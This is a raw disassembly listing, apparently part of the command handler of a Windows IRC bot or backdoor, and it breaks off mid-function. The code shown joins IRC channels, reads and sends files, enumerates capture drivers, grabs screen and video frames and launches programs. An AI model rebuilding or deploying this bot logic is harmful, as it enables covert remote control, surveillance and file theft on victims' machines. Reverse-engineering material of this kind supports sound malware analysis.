		push	offset unk_429E64
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40884B

loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_408839
; ---------------------------------------------------------------------------

loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_429E28

loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------

loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429DFC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40894A

loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_408934
; ---------------------------------------------------------------------------

loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset dword_429DC0
		jmp	loc_408857
; ---------------------------------------------------------------------------

loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h

loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854

loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DA4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------

loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429D88

loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------

loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429D80
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D64
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D48
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2690579h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D00
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------

loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CE4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------

loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA4

loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------

loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------

loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C4C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C30
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429BFC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------

loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BCC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------

loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429B90

loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi

loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFA4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h

loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B38
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------

loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429AD0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------

loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429A98

loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A64
		jmp	loc_40874A
; ---------------------------------------------------------------------------

loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A24
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_4299E4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------

loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch

loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------

loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299C0
		jmp	loc_409226
; ---------------------------------------------------------------------------

loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42999C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_429998 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42996C

loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------

loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429954
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------

loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429934
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429918
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------

loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429900
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40921A

loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_409204
; ---------------------------------------------------------------------------

loc_40921A:				; CODE XREF: sub_401ACD+7735j
		call	near ptr 2690CE2h
		nop
		push	eax
		push	offset unk_4298C0

loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------

loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298A8
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6

loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_409325
; ---------------------------------------------------------------------------

loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		call	near ptr 269074Ch
		nop
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429868
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------

loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------

loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429844
		jmp	short loc_40939D
; ---------------------------------------------------------------------------

loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429814

loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------

loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297C4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]

loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297A4
		push	eax
		call	sub_41B886

loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------

loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CAFF8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB000
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------

loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42977C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429754
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429734
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429710
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4296E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------

loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
